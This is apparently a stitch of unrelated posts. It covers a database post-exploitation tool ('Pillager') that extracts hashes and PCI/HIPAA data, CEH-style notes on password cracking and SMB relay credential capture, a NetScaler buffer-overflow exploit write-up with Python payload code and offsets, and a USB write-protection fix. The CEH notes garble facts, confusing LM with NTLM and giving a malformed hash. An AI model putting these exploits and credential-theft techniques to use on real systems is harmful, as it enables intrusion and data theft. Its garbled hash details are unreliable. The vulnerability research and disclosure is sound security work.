The Pillager 0.7 Release

I spent the last couple days recoding the Pillager, getting rid of bugs, optimizing code, making it more extendable and more solid overall. So this post is to release the new code. However, with that being said, the Pillager is in mass revision right now and I added some more developers to the team to add a whole host of new database attacking features as well as moving past databases and into other areas of post exploitation pillaging. Soon to be released.. As usual this tool and any tool i create is based on my issues when performing penetration tests and solves those problems.. If you have any insight or comments i will certainly take them into consideration for future releases.

For now check out Version 0.7.. Named searches and Data searches via external config files are now functioning properly as well as other bugs fixed along the way... Drop this in a BT5 VM and make sure you have your DB python stuff installed per the help docs and you should be good to go. If you are looking to use oracle you are going to have to install all the oracle nonsense from oracle or use a BT4r2 vm which has most of the needed drivers minus cxoracle which will need to be installed.

About:
The Database Pillager is a multiplatform database tool for searching and browsing common
database platforms encountered while penetration testing. DBPillage can be used to search
for PCI/HIPAA data automatically or use DBPillage to browse databases,display data.
and search for specified tables/data instances.
DBpillage was designed as a post exploitation pillaging tool with a goal of targeted
extraction of data without the use of database platform specific GUI based tools that
are difficult to use and make my job harder.

Supported Platforms:
--------------------
-Oracle
-MSSQL
-MYSQL
-PostGreSQL

Usage Examples:
************************************************************************

For Mysql Postgres and MsSQL pillaging:
---------------------------------------
python dbPillage -a [address] -d [dbType] -u [username] -p [password]


For Oracle pillaging you need a SID connection string:
------------------------------------------------------
python dbPillage-a [address]/[sid] -d [dbType] -u [username] -p [password]


Grab some hashes and Hipaa specific:(Default is PCI)
------------------------------------
python dbPillage -a [address] -d [dbType] -u [username] -p [password] --hashes -s hipaa

Drop into a SQL CMDShell:
-------------------------
python dbpillage.py -a [address] -d [dbType] -u [username] -p [password] -q

Config file specified searches:
-------------------------------
Search for data Items from inputFiles/data.txt:
python dbpillage.py -a [address] -d [dbType] -u [username] -p [password] -D

Search for specific table names from inputFiles/tables.txt:
python dbpillage.py -a [address] -d [dbType] -u [username] -p [password] -N

Switch Options:
---------------------
-# --hashes = grab database password hashes
-l --limit = limit the amount of rows that are searched or when displaying data (options = any number)
-s --searchType = Type of data search you want to perform (options:pci, hipaa, all)(PCI default)
-u --user = Database servers username
-p --pass = Password for the database server
-a --address = Ipaddress of the database server
-d --database = The database type you are pillageing (options: mssql,mysql,oracle,postgres)
-r --report = report format (HTML, XML, screen(default))
-N --nameSearch = Search via inputFiles/tables.txt
-D --dataSearch = Targeted data searches per inputFiles/data.txt
-q --queryShell = Drop into a SQL CMDshell in mysql or mssql

Prerequisites:
-------------
python v2 (Tested on Python 2.5.2 BT4 R2 and BT5 R3 - Oracle stuff on BT4r2 only unless you install the drivers from oracle)
cx_oracle (cx-oracle.sourceforge.net)
psycopg2 (initd.org/psycopg/download/)
MySQLdb (should be on BT by default)
pymssql (should be on BT by default)

CEH: System Hacking, Cracking A Password, Understanding The LAN Manager Hash, NetBIOS DoS Attacks

Passwords are the key element of information require to access the system. Similarly, the first step is to access the system is that you should know how to crack the password of the target system. There is a fact that users selects passwords that are easy to guess. Once a password is guessed or cracked, it can be the launching point for escalating privileges, executing applications, hiding files, and covering tracks. If guessing a password fails, then passwords may be cracked manually or with automated tools such as a dictionary or brute-force method.

Cracking a Password

Passwords are stored in the Security Accounts Manager (SAM) file on a Windows system and in a password shadow file on a Linux system.

Manual password cracking involves attempting to log on with different passwords. The hacker follows these steps:

Find a valid user account (such as Administrator or Guest).
Create a list of possible passwords.
Rank the passwords from high to low probability.
Key in each password.
Try again until a successful password is found.

A hacker can also create a script file that tries each password in a list. This is still considered manual cracking, but it's time consuming and not usually effective.

A more efficient way of cracking a password is to gain access to the password file on a system. Most systems hash (one-way encrypt) a password for storage on a system. During the logon process, the password entered by the user is hashed using the same algorithm and then compared to the hashed passwords stored in the file. A hacker can attempt to gain access to the hashing algorithm stored on the server instead of trying to guess or otherwise identify the password. If the hacker is successful, they can decrypt the passwords stored on the server.

Understanding the LAN Manager Hash

Windows 2000 uses NT LAN Manager (NTLM) hashing to secure passwords in transit on the network. Depending on the password, NTLM hashing can be weak and easy to break. For example, let's say that the password is 123456abcdef . When this password is encrypted with the NTLM algorithm, it's first converted to all uppercase: 123456ABCDEF . The password is padded with null (blank) characters to make it 14 characters long: 123456ABCDEF__ . Before the password is encrypted, the 14-character string is split in half: 123456A and
BCDEF__ . Each string is individually encrypted, and the results are concatenated:

123456A = 6BF11E04AFAB197F
BCDEF__ = F1E9FFDCC75575B15

The hash is 6BF11E04AFAB197FF1E9FFDCC75575B15 .

Cracking Windows 2000 Passwords

The SAM file in Windows contains the usernames and hashed passwords. It's located in the Windows\system32\config directory. The file is locked when the operating system is running so that a hacker can't attempt to copy the file while the machine is booted to Windows.

One option for copying the SAM file is to boot to an alternate operating system such as DOS or Linux with a boot CD. Alternately, the file can be copied from the repair directory. If a system administrator uses the RDISK feature of Windows to back up the system, then a compressed copy of the SAM file called SAM._ is created in C:\windows\repair . To expand this file, use the following command at the command prompt:

C:\>expand sam._ sam

After the file is uncompressed, a dictionary, hybrid, or brute-force attack can be run against the SAM file using a tool like L0phtCrack. A similar tool to L0phtcrack is Ophcrack.

Download and install ophcrack from http://ophcrack.sourceforge.net/

Redirecting the SMB Logon to the Attacker

Another way to discover passwords on a network is to redirect the Server Message Block (SMB) logon to an attacker's computer so that the passwords are sent to the hacker. In order to do this, the hacker must sniff the NTLM responses from the authentication server and trick the victim into attempting Windows authentication with the attacker's computer.

A common technique is to send the victim an email message with an embedded link to a fraudulent SMB server. When the link is clicked, the user unwittingly sends their credentials over the network.

SMBRelay

An SMB server that captures usernames and password hashes from incoming
SMB traffic. SMBRelay can also perform man-in-the-middle (MITM) attacks.

SMBRelay2

Similar to SMBRelay but uses NetBIOS names instead of IP addresses to capture usernames and passwords.

pwdump2

A program that extracts the password hashes from a SAM file on a Windows system. The extracted password hashes can then be run through L0phtCrack to break the passwords.

Samdump

Another program that extracts NTLM hashed passwords from a SAM file.

C2MYAZZ

A spyware program that makes Windows clients send their passwords as clear text. It displays usernames and their passwords as users attach to server resources.

NetBIOS DoS Attacks

A NetBIOS denial-of-service (DoS) attack sends a NetBIOS Name Release message to the NetBIOS Name Service on a target Windows systems and forces the system to place its name in conflict so that the name can no longer be used. This essentially blocks the client from participating in the NetBIOS network and creates a network DoS for that system.

Start with a memorable phrase, such as "Maryhadalittlelamb"
Change every other character to uppercase, resulting in "MaRyHaDaLiTtLeLaMb"
Change a to @ and i to 1 to yield "M@RyH@D@L1TtLeL@Mb"
Drop every other pair to result in a secure repeatable password or "M@H@L1LeMb"

Now you have a password that meets all the requirements, yet can be "remade" if necessary.

Scaling The NetScaler

A few months ago I noticed that Citrix provides virtual appliances to test their applications, I decided to pull down an appliance and take a peek. First I started out by downloading the trial Netscaler VM (version 10.1-119.7) from the following location:

http://www.citrix.com/products/netscaler-application-delivery-controller/try.html

Upon boot, the appliance is configured with nsroot/nsroot for the login and password. I logged in and started looking around and noticed that the web application is written in PHP using the code igniter framework (screw that crap). Since code igniter abstracts everything with MVC and actual scripts are hidden behind routes I decided to take a look at the apache configuration. I noticed that apache was configured with a SOAP endpoint that was using shared objects (YUMMY):

/etc/httpd

# SOAP handler
<Location /soap>
SetHandler gsoap-handler SOAPLibrary /usr/lib/libnscli90.so SupportLibrary /usr/lib/libnsapps.so </Location>

It wasn't clear what this end point was used for and it wasn't friendly if you hit it directly:

So I grep'd through the application code looking for any calls to this service and got a hit:

root@ns# grep -r '/soap' *
models/common/xmlapi_model.php: $this->soap_client = new nusoap_client("http://" . $this->server_ip . "/soap");

Within this file I saw this juicy bit of PHP which would have made this whole process way easier if it wasn't neutered with the hardcoded "$use_api = true;"

/netscaler/ns_gui/admin_ui/php/application/models/common/xmlapi_model.php

protected function command_execution($command, $parameters, $use_api = true) {
//Reporting can use API & exe to execute commands. To make it work, comment the following line.
$use_api = true; if(!$use_api)
{
$exec_command = "/netscaler/nscollect " . $this- >convert_parameters_to_string($command, $parameters);
$this->benchmark->mark("ns_exe_start");
$exe_result = exec($exec_command); $this->benchmark->mark("ns_exe_end");
$elapsed_time = $this->benchmark->elapsed_time("ns_exe_start",
"ns_exe_end");
log_message("profile", $elapsed_time . " --> EXE_EXECUTION_TIME " .
$command); $this->result["rc"] = 0;
$this->result["message"] = "Done"; $this->result["List"] = array(array("response" => $exe_result));
$return_value = 0;
}

For giggles I set it to false and gave it a whirl, worked as expected :(

The other side of this "if" statement was a reference to making a soap call and due to the reference to the local "/soap" and the fact all roads from "do_login" were driven to this file through over nine thousand levels of abstraction it was clear that upon login the server made an internal request to this endpoint. I started up tcpdump on the loopback interface on the box and captured an example request:

root@ns# tcpdump -Ani lo0 -s0 port 80
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode listening on lo0, link-type NULL (BSD loopback), capture size 65535 bytes 23:29:18.169188 IP 127.0.0.1.49731 > 127.0.0.1.80: P 1:863(862) ack 1 win 33304 <nop,nop,timestamp 1659543 1659542>

I pulled the request out and started playing with it in burp repeater. The one thing that seemed strange was that it had a parameter that was the IP of the box itself, the client string I got...it was used for tracking who was making requests to login, but the other didn't really make sense to me. I went ahead and changed the address to another VM and noticed something strange:

According to tcpdump it was trying to connect to my provided host on port 3010:

root@ns# tcpdump -A host 192.168.166.137 and port not ssh
tcpdump: WARNING: BIOCPROMISC: Device busy
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode listening on 0/1, link-type EN10MB (Ethernet), capture size 96 bytes 23:37:17.040559 IP 192.168.166.138.49392 > 192.168.166.137.3010: S 4126875155:4126875155(0) win 65535 <mss 1460,nop,wscale 1,nop,nop,timestamp 2138392 0,sackOK,eol>

I fired up netcat to see what it was sending, but it was just "junk", so I grabbed a pcap on the loopback interface on the netscaler vm to catch a normal transaction between the SOAP endpoint and the service to see what it was doing. It still wasn't really clear exactly what the data was as it was some sort of "binary" stream:

I grabbed a copy of the servers response and setup a test python client that replied with a replay of the servers response, it worked (and there may be an auth bypass here as it responds with a cookie for some API functionality...). I figured it may be worth shooting a bunch of crap back at the client just to see what would happen. I modified my python script to insert a bunch "A" into the stream:

import socket,sys
resp = "\x00\x01\x00\x00\xa5\xa5"+ ("A"*1000)+"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
HOST = None # Symbolic name meaning all available interfaces
PORT = 3010 # Arbitrary non-privileged port
s = None
for res in socket.getaddrinfo(HOST, PORT, socket.AF_UNSPEC,socket.SOCK_STREAM, 0, socket.AI_PASSIVE):
af, socktype, proto, canonname, sa = res
try:
s = socket.socket(af, socktype, proto)
except socket.error as msg:
s = None
continue
try:
s.bind(sa)
s.listen(1)
except socket.error as msg:
s.close()
s = None
continue
break
if s is None:
print 'could not open socket'
sys.exit(1)
conn, addr = s.accept()
print 'Connected by', addr
while 1:
data = conn.recv(1024)
if not data:
break
print 'sending!' conn.send(resp)
print 'sent!' conn.close()

Which provided the following awesome log entry in the Netscaler VM window:

Loading the dump up in gdb we get the following (promising looking):

And the current instruction it is trying to call:

An offset into the address 0x41414141, sure that usually works :P - we need to adjust the payload in a way that EDX is a valid address we can address by offset in order to continue execution. In order to do that we need to figure out where in our payload the EDX value is coming from. The metasploit "pattern_create" works great for this ("root@blah:/usr/share/metasploit-framework/tools# ./pattern_create.rb 1000"). After replacing the "A" *1000 in our script with the pattern we can see that EDX is at offset 610 in our payload:

Looking at the source of EDX, which is an offset of EBP we can see the rest of our payload, we can go ahead and replace the value in our payload at offset 610 with the address of EBP

resp = "\x00\x01\x00\x00\xa5\xa5"+p[:610]+'\x78\xda\xff\xff'+p[614:]+"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\ x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"

When we run everything again and take a look at our core dump you can see we have progressed in execution and have hit another snag that causes a crash:

The crash was caused because once again the app is trying to access a value at an offset of a bad address (from our payload). This value is at offset 606 in our payload according to "pattern_offset" and if you were following along you can see that this value sits at 0xffffda78 + 4, which is what we specified previously. So we need to adjust our payload with another address to have EDX point at a valid address and keep playing whack a mole OR we can look at the function and possibly find a short cut:

If we can follow this code path keeping EDX a valid memory address and set EBP+12 (offset in our payload) to 0x0 we can take the jump LEAV/RET and for the sake of time and my sanity, unroll the call stack to the point of our control. You will have to trust me here OR download the VM and see for yourself (my suggestion if you have found this interesting :> )

And of course, the money shot:

A PoC can be found HERE that will spawn a shell on port 1337 of the NetScaler vm, hopefully someone has some fun with it :)

It is not clear if this issue has been fixed by Citrix as they stopped giving me updates on the status of this bug. For those that are concerned with the timeline:

6/3/14 - Bug was reported to Citrix
6/4/14 - Confirmation report was received
6/24/14 - Update from Citrix - In the process of scheduling updates
7/14/14 - Emailed asking for update

How To Remove Write Protection From USB Drives And Memory Cards

If you've got a USB drive or SD card that can't be formatted and to which you can't copy files, then take a look at our guide to removing write protection.

Sometimes you'll find that it's impossible to format, delete or copy new files to an SD card or USB flash drive. Windows will tell you that it is write protected, even though there is no 'lock' switch or – if there is – you've made sure the switch is set correctly to allow files to be written to the drive.

But just in case this switch is news to you, it is well worth checking that your device has the switch set to 'unlocked'. When set to 'locked' you won't be able to copy any new files on to the memory card or USB stick, and it also stops you from accidentally formatting it.

iemhacker-remove-write-protection-from-usb

You'll still be able to view files which are already stored on the drive, but you can't delete them (they sometimes seem to delete OK, but the next time you check, there they are again!).

ut if this isn't the problem, you might still be able to fix things and continue to use your USB flash drive or SD card – we'll explain how.

Unfortunately, in some cases the device may be corrupt or physically broken and no tricks or software will make it work again. The only solution in this case is to buy a new drive. And if you're just trying to get back lost data, see our guide on How to recover deleted filed for free.

In any version of Windows from XP onwards, run Regedit.exe.

If you're not sure how to find it, searching 'regedit' in the Start menu will usually show the program at the top of the list.

It's a bit like File Explorer, so use the pane on the left to navigate to the following key:

Computer\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\StorageDevicePolicies

Note: if you can't find StorageDevicePolicies, see the next step.

Double-click on the WriteProtect value in the right-hand pane. You can now change the Value data from 1 to 0. Then click OK to save the change. Close Regedit and restart your computer. Connect your USB drive again and, with a bit of luck, you should find it is no longer write protected.

You can now continue to use the drive, but it's worth copying off any files you want to keep and then formatting it by right-clicking on it in the list of drives in File Explorer and choosing Format.

StorageDevicePolicies

If you can't find StorageDevicePolicies, you can create it by right-clicking in the white space in the 'Control' folder and choosing New -> Key and entering the name StorageDevicePolicies.

Now double-click on the new key (it will show as a folder) and right-click once again in the white space and choose New -> DWORD. Name this WriteProtect and set its value to 0. Click OK, exit Regedit and reboot your computer.

If this method doesn't work, go to the next step.

Diskpart

With your USB drive or memory card attached to your computer, launch a command prompt. You can do this by searching for cmd.exe or 'Command Prompt' in the Start menu.

Note: you may need to run cmd.exe with administrator privileges if you see an "access is denied" message. To do this, right-click on Command Prompt in the Start menu and choose 'Run as administrator' from the menu that appears.

If you have Windows 10, simply right-click on the Start button (bottom left of the screen) and choose Command Prompt (admin).

Now, at the prompt, type the following and press Enter after each command:

diskpart
list disk
select disk x (where x is the number of your non-working drive – use the capacity to work out which one it is)
attributes disk clear readonly
clean
create partition primary
format fs=fat32 (you can swap fat32 for ntfs if you only need to use the drive with Windows computers)
exit

That's it. Your drive should now work as normal in File Explorer. If it doesn't, it's bad news and there's nothing more to be done. Your stick or memory card is scrap and fit only for the bin. But the good news is that storage is cheap.
